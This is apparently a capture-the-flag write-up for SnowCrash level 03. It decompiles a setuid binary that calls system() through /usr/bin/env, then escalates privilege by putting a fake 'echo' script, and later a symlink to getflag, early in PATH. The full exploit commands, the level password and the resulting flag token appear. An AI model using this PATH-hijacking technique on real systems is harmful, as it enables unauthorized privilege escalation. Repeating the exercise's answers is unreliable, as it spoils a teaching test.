snowcrash/levels/03
2026-01-19 16:27:22 +01:00
..
flag level03 2026-01-19 16:13:23 +01:00
passwd first 3 levels 2026-01-19 15:46:45 +01:00
README.md formatting 2026-01-19 16:27:22 +01:00

Level 03

how to login

username: level03

password: kooda2puivaav1idi4f57q8iq

Goal

run getflag as user flag03

Actually doing something

As usual:

level03@SnowCrash:~$ ll
total 24
dr-x------ 1 level03 level03  120 Mar  5  2016 ./
d--x--x--x 1 root    users    340 Aug 30  2015 ../
-r-x------ 1 level03 level03  220 Apr  3  2012 .bash_logout*
-r-x------ 1 level03 level03 3518 Aug 30  2015 .bashrc*
-rwsr-sr-x 1 flag03  level03 8627 Mar  5  2016 level03*
-r-x------ 1 level03 level03  675 Apr  3  2012 .profile*

We have a funny binary ! having the s permission in the executable spot means it is setuid

what is setuid ? it means that when executed, it runs as the user that own the binary

What a coincidence ! The user that own the binary is flag03

lets look at what happens when we run the binary without anything special:

level03@SnowCrash:~$ ./level03 
Exploit me

Oh yes I will !

level03@SnowCrash:~$ file level03 
level03: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x3bee584f790153856e826e38544b9e80ac184b7b, not stripped

We already knew all the useful information here, but at least we have a proof that it is an "normal" executable (ELF is what linux uses for binaries), it is indeed setuid (and setgid). No stripped means that we have a minimum of debug info (like symbol names)

What to do ? Lets bring out the big gun and start fully RE the binary. How ? Using Ghidra. Ghidra is an NSA program made to take a binary, and look at it very closely. It can try to produce C-looking code that matches the assembly, and allow you to rename variables, function and all

int main(int argc,char **argv,char **envp)
{
  __gid_t __rgid;
  __uid_t __ruid;
  int iVar1;
  gid_t gid;
  uid_t uid;
  
  __rgid = getegid();
  __ruid = geteuid();
  setresgid(__rgid,__rgid,__rgid);
  setresuid(__ruid,__ruid,__ruid);
  iVar1 = system("/usr/bin/env echo Exploit me");
  return iVar1;
}

Ghidra dissembled the main function, and it looks like this. Here it is valid C code, but sometimes ghidra can't produce valid C code because the assembly is missing data, so we were lucky !

Looking at this, it seems that the program does a little UID dance (and GID too), but we kinda don't care. It doesn't seems to be exploitable in itself (but we do have to note that this actually makes the binary a privilege escalation vector!)

What is important is the system("/usr/bin/env echo Exploit me") line. This launch a new process. Looking at the system function, it behave likes an shell command (as in it calls a shell behind the scene), so we can have fun

the /usr/bin/env is very powerfull, but what we will use is the fact that it tries to find the command passed as an argument in the PATH

but WE own the PATH variable. Nothing prevents us from slipping a new directory in the PATH, and having an echo command in it

lets do that

level03@SnowCrash:~$ mkdir /tmp/path
level03@SnowCrash:~$ cat <<EOF >/tmp/path/echo
> #!/bin/sh
> echo  "I'm in !"
> EOF
level03@SnowCrash:~$ chmod +x /tmp/path/echo
level03@SnowCrash:~$ PATH=/tmp/path:$PATH ./level03 
I'm in !

We are indeed in

now we can do lots of stuff, and we can basically call getflag.

I want to be a bit sneaky, so lets make it call getflag directly

level03@SnowCrash:~$ mkdir /tmp/path
level03@SnowCrash:~$ ln -s $(which getflag) /tmp/path/echo
level03@SnowCrash:~$ PATH=/tmp/path:$PATH ./level03 
Check flag.Here is your token : qi0maab88jeaj46qoumi7maus

We just made a symlink in our naughty directory to the getflag binary, so when the "echo" got launched, it was actually getflag !